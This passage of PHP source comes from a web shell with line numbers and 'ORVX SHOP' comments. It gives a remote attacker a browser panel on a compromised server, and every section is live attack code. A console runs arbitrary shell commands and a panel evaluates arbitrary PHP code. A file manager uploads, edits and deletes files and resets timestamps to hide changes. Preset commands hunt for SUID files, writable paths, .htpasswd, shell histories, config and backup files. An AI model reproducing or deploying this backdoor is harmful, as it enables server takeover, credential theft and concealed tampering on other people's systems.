464 | echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>'; | |
465 | if( empty($_POST['p2']) ) | |
466 | $_POST['p2'] = 'view'; | |
467 | if( is_file($_POST['p1']) ) | |
468 | $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch', 'Frame'); | |
469 | else | |
470 | $m = array('Chmod', 'Rename', 'Touch'); | |
471 | foreach($m as $v) | |
472 | echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> '; | |
473 | echo '<br><br>'; | |
474 | switch($_POST['p2']) { | |
475 | case 'view': | |
476 | echo '<pre class=ml1>'; | |
477 | $fp = @fopen($_POST['p1'], 'r'); | |
478 | if($fp) { | |
479 | while( !@feof($fp) ) | |
480 | echo htmlspecialchars(@fread($fp, 1024)); | |
481 | @fclose($fp); | |
482 | } | |
483 | echo '</pre>'; | |
484 | break;//--------------ORVX SHOP--------------// | |
485 | case 'highlight': | |
486 | if( @is_readable($_POST['p1']) ) { | |
487 | echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">'; | |
488 | $oRb = @highlight_file($_POST['p1'],true); | |
489 | echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$oRb).'</div>'; | |
490 | } | |
491 | break; | |
492 | case 'chmod': | |
493 | if( !empty($_POST['p3']) ) { | |
494 | $perms = 0; | |
495 | for($i=strlen($_POST['p3'])-1;$i>=0;--$i) | |
496 | $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1)); | |
497 | if(!@chmod($_POST['p1'], $perms)) | |
498 | echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>'; | |
499 | } | |
500 | clearstatcache(); | |
501 | echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value="submit"></form>'; | |
502 | break; | |
503 | case 'edit': | |
504 | if( !is_writable($_POST['p1'])) { | |
505 | echo 'File isn\'t writeable'; | |
506 | break; | |
507 | } | |
508 | if( !empty($_POST['p3']) ) { | |
509 | $time = @filemtime($_POST['p1']); | |
510 | $_POST['p3'] = substr($_POST['p3'],1); | |
511 | $fp = @fopen($_POST['p1'],"w"); | |
512 | if($fp) { | |
513 | @fwrite($fp,$_POST['p3']); | |
514 | @fclose($fp); | |
515 | echo 'Saved!<br><script>p3_="";</script>'; | |
516 | @touch($_POST['p1'],$time,$time); | |
517 | } | |
518 | } | |
519 | echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>'; | |
520 | $fp = @fopen($_POST['p1'], 'r'); | |
521 | if($fp) {//--------------ORVX SHOP--------------// | |
522 | while( !@feof($fp) ) | |
523 | echo htmlspecialchars(@fread($fp, 1024)); | |
524 | @fclose($fp); | |
525 | } | |
526 | echo '</textarea><input type=submit value="submit"></form>'; | |
527 | break;//--------------ORVX SHOP--------------// | |
528 | case 'hexdump': | |
529 | $c = @file_get_contents($_POST['p1']); | |
530 | $n = 0; | |
531 | $h = array('00000000<br>','',''); | |
532 | $len = strlen($c); | |
533 | for ($i=0; $i<$len; ++$i) { | |
534 | $h[1] .= sprintf('%02X',ord($c[$i])).' '; | |
535 | switch ( ord($c[$i]) ) { | |
536 | case 0: $h[2] .= ' '; break; | |
537 | case 9: $h[2] .= ' '; break; | |
538 | case 10: $h[2] .= ' '; break; | |
539 | case 13: $h[2] .= ' '; break; | |
540 | default: $h[2] .= $c[$i]; break; | |
541 | } | |
542 | $n++; | |
543 | if ($n == 32) { | |
544 | $n = 0; | |
545 | if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';} | |
546 | $h[1] .= '<br>'; | |
547 | $h[2] .= "\n"; | |
548 | } | |
549 | } | |
550 | echo '<table cellspacing=1 cellpadding=5 bgcolor=#222><tr><td bgcolor=#202832><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#060a10><pre>'.$h[1].'</pre></td><td bgcolor=#202832><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>'; | |
551 | break; | |
552 | case 'rename': | |
553 | if( !empty($_POST['p3']) ) { | |
554 | if(!@rename($_POST['p1'], $_POST['p3'])) | |
555 | echo 'Can\'t rename!<br>'; | |
556 | else | |
557 | die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>'); | |
558 | } | |
559 | echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value="submit"></form>'; | |
560 | break; | |
561 | case 'touch': | |
562 | if( !empty($_POST['p3']) ) { | |
563 | $time = strtotime($_POST['p3']); | |
564 | if($time) { | |
565 | if(!touch($_POST['p1'],$time,$time)) | |
566 | echo 'Fail!'; | |
567 | else | |
568 | echo 'Touched!'; | |
569 | } else echo 'Bad time format!'; | |
570 | } | |
571 | clearstatcache(); | |
572 | echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value="submit"></form>'; | |
573 | break; | |
574 | //--------------ORVX SHOP--------------// | |
575 | case 'frame': | |
576 | $frameSrc = substr(htmlspecialchars($GLOBALS['cwd']), strlen(htmlspecialchars($_SERVER['DOCUMENT_ROOT']))); | |
577 | if ($frameSrc[0] != '/') | |
578 | $frameSrc = '/' . $frameSrc; | |
579 | if ($frameSrc[strlen($frameSrc) - 1] != '/') | |
580 | $frameSrc = $frameSrc . '/'; | |
581 | $frameSrc = $frameSrc . htmlspecialchars($_POST['p1']); | |
582 | echo '<iframe width="100%" height="900px" scrolling="no" src='.$frameSrc.' onload="onload=height=contentDocument.body.scrollHeight"></iframe>'; | |
583 | break; | |
584 | } | |
585 | echo '</div>'; | |
586 | hardFooter(); | |
587 | } | |
588 | if($os == 'win') | |
589 | $aliases = array( | |
590 | "List Directory" => "dir", | |
591 | "Find index.php in current dir" => "dir /s /w /b index.php", | |
592 | "Find *config*.php in current dir" => "dir /s /w /b *config*.php", | |
593 | "Show active connections" => "netstat -an", | |
594 | "Show running services" => "net start", | |
595 | "User accounts" => "net user", | |
596 | "Show computers" => "net view", | |
597 | "ARP Table" => "arp -a", | |
598 | "IP Configuration" => "ipconfig /all" | |
599 | ); | |
600 | else//--------------ORVX SHOP--------------// | |
601 | $aliases = array( | |
602 | "List dir" => "ls -lha", | |
603 | "list file attributes on a Linux second extended file system" => "lsattr -va", | |
604 | "show opened ports" => "netstat -an | grep -i listen", | |
605 | "process status" => "ps aux", | |
606 | "Find" => "", | |
607 | "find all suid files" => "find / -type f -perm -04000 -ls", | |
608 | "find suid files in current dir" => "find . -type f -perm -04000 -ls", | |
609 | "find all sgid files" => "find / -type f -perm -02000 -ls", | |
610 | "find sgid files in current dir" => "find . -type f -perm -02000 -ls", | |
611 | "find config.inc.php files" => "find / -type f -name config.inc.php", | |
612 | "find config* files" => "find / -type f -name \"config*\"", | |
613 | "find config* files in current dir" => "find . -type f -name \"config*\"", | |
614 | "find all writable folders and files" => "find / -perm -2 -ls", | |
615 | "find all writable folders and files in current dir" => "find . -perm -2 -ls", | |
616 | "find all service.pwd files" => "find / -type f -name service.pwd", | |
617 | "find service.pwd files in current dir" => "find . -type f -name service.pwd", | |
618 | "find all .htpasswd files" => "find / -type f -name .htpasswd", | |
619 | "find .htpasswd files in current dir" => "find . -type f -name .htpasswd", | |
620 | "find all .bash_history files" => "find / -type f -name .bash_history", | |
621 | "find .bash_history files in current dir" => "find . -type f -name .bash_history", | |
622 | "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc", | |
623 | "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc", | |
624 | "Locate" => "",//--------------ORVX SHOP--------------////--------------ORVX SHOP--------------// | |
625 | "locate httpd.conf files" => "locate httpd.conf", | |
626 | "locate vhosts.conf files" => "locate vhosts.conf", | |
627 | "locate proftpd.conf files" => "locate proftpd.conf", | |
628 | "locate psybnc.conf files" => "locate psybnc.conf", | |
629 | "locate my.conf files" => "locate my.conf", | |
630 | "locate admin.php files" =>"locate admin.php", | |
631 | "locate cfg.php files" => "locate cfg.php", | |
632 | "locate conf.php files" => "locate conf.php", | |
633 | "locate config.dat files" => "locate config.dat", | |
634 | "locate config.php files" => "locate config.php", | |
635 | "locate config.inc files" => "locate config.inc", | |
636 | "locate config.inc.php" => "locate config.inc.php", | |
637 | "locate config.default.php files" => "locate config.default.php", | |
638 | "locate config* files " => "locate config", | |
639 | "locate .conf files"=>"locate '.conf'", | |
640 | "locate .pwd files" => "locate '.pwd'", | |
641 | "locate .sql files" => "locate '.sql'", | |
642 | "locate .htpasswd files" => "locate '.htpasswd'", | |
643 | "locate .bash_history files" => "locate '.bash_history'", | |
644 | "locate .mysql_history files" => "locate '.mysql_history'", | |
645 | "locate .fetchmailrc files" => "locate '.fetchmailrc'", | |
646 | "locate backup files" => "locate backup", | |
647 | "locate dump files" => "locate dump", | |
648 | "locate priv files" => "locate priv" | |
649 | ); | |
650 | function actionConsole() { | |
651 | if(!empty($_POST['p1']) && !empty($_POST['p2'])) { | |
652 | prototype(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true); | |
653 | $_POST['p1'] .= ' 2>&1'; | |
654 | } elseif(!empty($_POST['p1'])) | |
655 | prototype(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0); | |
656 | if(isset($_POST['ajax'])) { | |
657 | prototype(md5($_SERVER['HTTP_HOST']).'ajax', true); | |
658 | ob_start();//--------------ORVX SHOP--------------// | |
659 | echo "d.cf.cmd.value='';\n"; | |
660 | $temp = @utf8_encode(addcslashes("\n$ ".$_POST['p1']."\n".ex($_POST['p1']),"\n\r\t\'\0")); | |
661 | if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) { | |
662 | if(@chdir($match[1])) { | |
663 | $GLOBALS['cwd'] = @getcwd(); | |
664 | echo "c_='".$GLOBALS['cwd']."';"; | |
665 | } | |
666 | } | |
667 | echo "d.cf.output.value+='".$temp."';"; | |
668 | echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;"; | |
669 | $temp = ob_get_clean(); | |
670 | echo strlen($temp), "\n", $temp; | |
671 | exit; | |
672 | } | |
673 | if(empty($_POST['ajax'])&&!empty($_POST['p1'])) | |
674 | prototype(md5($_SERVER['HTTP_HOST']).'ajax', 0); | |
675 | hardHeader(); | |
676 | echo "<script> | |
677 | if(window.Event) window.captureEvents(Event.KEYDOWN); | |
678 | var cmds = new Array(''); | |
679 | var cur = 0; | |
680 | function kp(e) { | |
681 | var n = (window.Event) ? e.which : e.keyCode; | |
682 | if(n == 38) { | |
683 | cur--; | |
684 | if(cur>=0) | |
685 | document.cf.cmd.value = cmds[cur]; | |
686 | else | |
687 | cur++; | |
688 | } else if(n == 40) { | |
689 | cur++; | |
690 | if(cur < cmds.length) | |
691 | document.cf.cmd.value = cmds[cur]; | |
692 | else | |
693 | cur--; | |
694 | } | |
695 | } | |
696 | function add(cmd) { | |
697 | cmds.pop(); | |
698 | cmds.push(cmd); | |
699 | cmds.push(''); | |
700 | cur = cmds.length-1; | |
701 | } | |
702 | </script>"; | |
703 | echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><label><select name=alias>'; | |
704 | foreach($GLOBALS['aliases'] as $n => $v) { | |
705 | if($v == '') { | |
706 | echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>'; | |
707 | continue; | |
708 | } | |
709 | echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>'; | |
710 | } | |
711 | ||
712 | echo '</select></label><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value="submit"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin-top:5px;" readonly>'; | |
713 | if(!empty($_POST['p1'])) { | |
714 | echo htmlspecialchars("$ ".$_POST['p1']."\n".ex($_POST['p1'])); | |
715 | } | |
716 | echo '</textarea><table style="border:1px solid #060a10;background-color:#060a10;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td style="padding-left:4px; width:13px;">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>'; | |
717 | echo '</form></div><script>d.cf.cmd.focus();</script>'; | |
718 | hardFooter(); | |
719 | } | |
720 | function actionPhp() { | |
721 | if( isset($_POST['ajax']) ) { | |
722 | $_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax'] = true; | |
723 | ob_start(); | |
724 | eval($_POST['p1']);//--------------ORVX SHOP--------------// | |
725 | $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n"; | |
726 | echo strlen($temp), "\n", $temp; | |
727 | exit; | |
728 | } | |
729 | hardHeader(); | |
730 | if( isset($_POST['p2']) && ($_POST['p2'] == 'info') ) { | |
731 | echo '<h1>PHP info</h1><div class=content>'; | |
732 | ob_start(); | |
733 | phpinfo(); | |
734 | $tmp = ob_get_clean(); | |
735 | $tmp = preg_replace('!body {.*}!msiU','',$tmp); | |
736 | $tmp = preg_replace('!a:\w+ {.*}!msiU','',$tmp); | |
737 | $tmp = preg_replace('!h1!msiU','h2',$tmp); | |
738 | $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp); | |
739 | $tmp = preg_replace('!body, td, th, h2, h2 {.*}!msiU','',$tmp); | |
740 | echo $tmp; | |
741 | echo '</div><br>';//--------------ORVX SHOP--------------// | |
742 | } | |
743 | if(empty($_POST['ajax'])&&!empty($_POST['p1'])) | |
744 | $_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax'] = false; | |
745 | echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">'; | |
746 | echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>'; | |
747 | if(!empty($_POST['p1'])) { | |
748 | ob_start(); | |
749 | eval($_POST['p1']); | |
750 | echo htmlspecialchars(ob_get_clean()); | |
751 | } | |
752 | echo '</pre></div>'; | |
753 | hardFooter(); | |
754 | } | |
755 | function actionFilesMan() { | |
756 | if (!empty ($_COOKIE['f'])) | |
757 | $_COOKIE['f'] = @unserialize($_COOKIE['f']); | |
758 | ||
759 | if(!empty($_POST['p1'])) { | |
760 | switch($_POST['p1']) {//--------------ORVX SHOP--------------// | |
761 | case 'uploadFile': | |
762 | if ( is_array($_FILES['f']['tmp_name']) ) { | |
763 | foreach ( $_FILES['f']['tmp_name'] as $i => $tmpName ) { | |
764 | if(!@move_uploaded_file($tmpName, $_FILES['f']['name'][$i])) { | |
765 | echo "Can't upload file!"; | |
766 | } | |
767 | } | |
768 | } | |
769 | break; | |
770 | case 'mkdir': | |
771 | if(!@mkdir($_POST['p2'])) | |
772 | echo "Can't create new dir"; | |
773 | break; | |
774 | case 'delete': | |
775 | function deleteDir($path) { | |
776 | $path = (substr($path,-1)=='/') ? $path:$path.'/'; | |
777 | $dh = opendir($path); | |
778 | while ( ($dokl = readdir($dh) ) !== false) { | |
779 | $dokl = $path.$dokl; | |
780 | if ( (basename($dokl) == "..") || (basename($dokl) == ".") ) | |
781 | continue; | |
782 | $type = filetype($dokl); | |
783 | if ($type == "dir") | |
784 | deleteDir($dokl); | |
785 | else | |
786 | @unlink($dokl); | |
787 | }//--------------ORVX SHOP--------------// | |
788 | closedir($dh); | |
789 | @rmdir($path); | |
790 | } | |
791 | if(is_array(@$_POST['f'])) | |
792 | foreach($_POST['f'] as $f) { | |
793 | if($f == '..') | |
794 | continue; | |
795 | $f = urldecode($f); | |
796 | if(is_dir($f)) | |
797 | deleteDir($f); | |
798 | else | |
799 | @unlink($f); | |
800 | } | |
801 | break; | |
802 | case 'paste': | |
803 | if($_COOKIE['act'] == 'copy') { | |
804 | function copy_paste($c,$s,$d){ | |
805 | if(is_dir($c.$s)){ | |
806 | mkdir($d.$s); | |
807 | $h = @opendir($c.$s); | |
808 | while (($f = @readdir($h)) !== false) | |
809 | if (($f != ".") and ($f != "..")) | |
810 | copy_paste($c.$s.'/',$f, $d.$s.'/'); | |
811 | } elseif(is_file($c.$s)) | |
812 | @copy($c.$s, $d.$s); | |
813 | } | |
814 | foreach($_COOKIE['f'] as $f) | |
815 | copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']); | |
816 | } elseif($_COOKIE['act'] == 'move') { | |
817 | function move_paste($c,$s,$d){ | |
818 | if(is_dir($c.$s)){ | |
819 | mkdir($d.$s); | |
820 | $h = @opendir($c.$s); | |
821 | while (($f = @readdir($h)) !== false) | |
822 | if (($f != ".") and ($f != "..")) | |
823 | copy_paste($c.$s.'/',$f, $d.$s.'/'); | |
824 | } elseif(@is_file($c.$s)) | |
825 | @copy($c.$s, $d.$s); | |
826 | } | |
827 | foreach($_COOKIE['f'] as $f) | |
828 | @rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f); | |
829 | } elseif($_COOKIE['act'] == 'zip') { | |
830 | if(class_exists('ZipArchive')) { | |
831 | $zip = new ZipArchive(); | |
832 | if ($zip->open($_POST['p2'], 1)) { | |
833 | chdir($_COOKIE['c']); | |
834 | foreach($_COOKIE['f'] as $f) { | |
835 | if($f == '..') | |
836 | continue; | |
837 | if(@is_file($_COOKIE['c'].$f)) | |
838 | $zip->addFile($_COOKIE['c'].$f, $f); | |
839 | elseif(@is_dir($_COOKIE['c'].$f)) { | |
840 | $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/', FilesystemIterator::SKIP_DOTS)); | |
841 | foreach ($iterator as $key=>$value) { | |
842 | $zip->addFile(realpath($key), $key); | |
843 | } | |
844 | } | |
845 | } | |
846 | chdir($GLOBALS['cwd']); | |
847 | $zip->close(); | |
848 | } | |
849 | } | |
850 | } elseif($_COOKIE['act'] == 'unzip') { | |
851 | if(class_exists('ZipArchive')) { | |
852 | $zip = new ZipArchive(); | |
853 | foreach($_COOKIE['f'] as $f) { | |
854 | if($zip->open($_COOKIE['c'].$f)) { | |
855 | $zip->extractTo($GLOBALS['cwd']); | |
856 | $zip->close(); | |
857 | } | |
858 | } | |
859 | } | |
860 | } elseif($_COOKIE['act'] == 'tar') { | |
861 | chdir($_COOKIE['c']); | |
862 | $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']); | |
863 | ex('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f'])); | |
864 | chdir($GLOBALS['cwd']); | |
865 | } | |
866 | unset($_COOKIE['f']); | |
867 | setcookie('f', '', time() - 3600); | |
868 | break; | |
869 | default: | |
870 | if(!empty($_POST['p1'])) { | |
871 | prototype('act', $_POST['p1']); | |
872 | prototype('f', serialize(@$_POST['f'])); | |
873 | prototype('c', @$_POST['c']); | |
874 | } | |
875 | break; | |
876 | } | |
877 | } | |
878 | hardHeader(); | |
879 | echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>'; | |
880 | $dirContent = hardScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']); | |
881 | if($dirContent === false) { echo 'Can\'t open this folder!';hardFooter(); return; } | |
882 | global $sort; | |
883 | $sort = array('name', 1); | |
884 | if(!empty($_POST['p1'])) { | |
885 | if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match)) | |
886 | $sort = array($match[1], (int)$match[2]); | |
887 | } | |
888 | echo "<script> | |
889 | function sa() { | |
890 | for(i=0;i<d.files.elements.length;i++) | |
891 | if(d.files.elements[i].type == 'checkbox') | |
892 | d.files.elements[i].checked = d.files.elements[0].checked; | |
893 | } | |
894 | </script> | |
895 | <table width='100%' class='main' cellspacing='0' cellpadding='2'> | |
896 | <form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>"; | |
897 | $dirs = $files = array(); | |
898 | $n = count($dirContent); | |
899 | for($i=0;$i<$n;$i++) { | |
900 | $ow = @posix_getpwuid(@fileowner($dirContent[$i])); | |
901 | $gr = @posix_getgrgid(@filegroup($dirContent[$i])); | |
902 | $tmp = array('name' => $dirContent[$i], | |
903 | 'path' => $GLOBALS['cwd'].$dirContent[$i], | |
904 | 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])), | |
905 | 'perms' => viewPermsColor($GLOBALS['cwd'] . $dirContent[$i]), | |
906 | 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]), | |
907 | 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]), | |
908 | 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i]) | |
909 | ); | |
910 | if(@is_file($GLOBALS['cwd'] . $dirContent[$i])) | |
911 | $files[] = array_merge($tmp, array('type' => 'file')); | |
912 | elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i])) | |
913 | $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path']))); | |
914 | elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&&($dirContent[$i] != ".")) | |
915 | $dirs[] = array_merge($tmp, array('type' => 'dir')); | |
916 | } | |
917 | $GLOBALS['sort'] = $sort; | |
918 | function cmp($a, $b) { | |
919 | if($GLOBALS['sort'][0] != 'size') | |
920 | return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1); | |
921 | else | |
922 | return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1); | |
923 | } | |
924 | usort($files, "cmp"); | |
925 | usort($dirs, "cmp"); | |
926 | $files = array_merge($dirs, $files); | |
927 | $l = 0; | |
928 | foreach($files as $f) { | |
929 | echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?viewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms'] | |
930 | .'</td><td><a class="tooltip" data-tooltip="Rename" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a class="tooltip" data-tooltip="Touch" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a class="tooltip" data-tooltip="Frame" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'frame\')">F</a> <a class="tooltip" data-tooltip="Edit" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a class="tooltip" data-tooltip="Download" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>'; | |
931 | $l = $l?0:1; | |
932 | } | |
933 | echo "<tr id=fak><td colspan=7> | |
934 | <input type=hidden name=ne value=''> | |
935 | <input type=hidden name=a value='FilesMan'> | |
936 | <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'> | |
937 | <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'> | |
938 | <label><select name='p1'>"; | |
939 | if(!empty($_COOKIE['act']) && @count($_COOKIE['f'])) | |
940 | echo "<option value='paste'>↳ Paste</option>"; | |
941 | echo "<option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>"; | |
942 | if(class_exists('ZipArchive')) | |
943 | echo "<option value='zip'>zip</option><option value='unzip'>unzip</option>"; | |
944 | echo "<option value='tar'>+ tar.gz</option>"; | |
945 | echo "</select></label>"; | |
946 | if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar'))) | |
947 | echo " file name: <input type=text name=p2 value='hard_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'> "; | |
948 | echo "<input type='submit' value='submit'></td></tr></form></table></div>"; | |
949 | hardFooter(); | |
950 | } | |
951 | function actionStringTools() { | |
952 | if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}} | |
953 | if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}} | |
954 | if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}} | |
955 | if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}} | |
956 | if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}} | |
957 | $stringTools = array( | |
958 | 'Base64 encode' => 'base64_encode', | |
959 | 'Base64 decode' => 'base64_decode', | |
960 | 'Url encode' => 'urlencode', | |
961 | 'Url decode' => 'urldecode', | |
962 | 'Full urlencode' => 'full_urlencode', | |
963 | 'md5 hash' => 'md5', | |
964 | 'sha1 hash' => 'sha1', | |
965 | 'crypt' => 'crypt', | |
966 | 'CRC32' => 'crc32', | |
967 | 'ASCII to HEX' => 'ascii2hex', | |
968 | 'HEX to ASCII' => 'hex2ascii', | |
969 | 'HEX to DEC' => 'hexdec', | |
970 | 'HEX to BIN' => 'hex2bin', | |
971 | 'DEC to HEX' => 'dechex', | |
972 | 'DEC to BIN' => 'decbin', | |
973 | 'BIN to HEX' => 'binhex', | |
974 | 'BIN to DEC' => 'bindec', | |
975 | 'String to lower case' => 'strtolower', | |
976 | 'String to upper case' => 'strtoupper', | |
977 | 'Htmlspecialchars' => 'htmlspecialchars', | |
978 | 'String length' => 'strlen', | |
979 | ); | |
980 | if(isset($_POST['ajax'])) { | |
981 | prototype(md5($_SERVER['HTTP_HOST']).'ajax', true); | |
982 | ob_start(); | |
983 | if(in_array($_POST['p1'], $stringTools)) | |
984 | echo $_POST['p1']($_POST['p2']); | |
985 | $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n"; | |
986 | echo strlen($temp), "\n", $temp; | |
987 | exit; | |
988 | } | |
989 | if(empty($_POST['ajax'])&&!empty($_POST['p1'])) | |
990 | prototype(md5($_SERVER['HTTP_HOST']).'ajax', 0); | |
991 | hardHeader(); | |
992 | echo '<h1>String conversions</h1><div class=content>'; | |
993 | echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><label><select name='selectTool'>"; | |
994 | foreach($stringTools as $k => $v) | |
995 | echo "<option value='".htmlspecialchars($v)."'>".$k."</option>"; | |
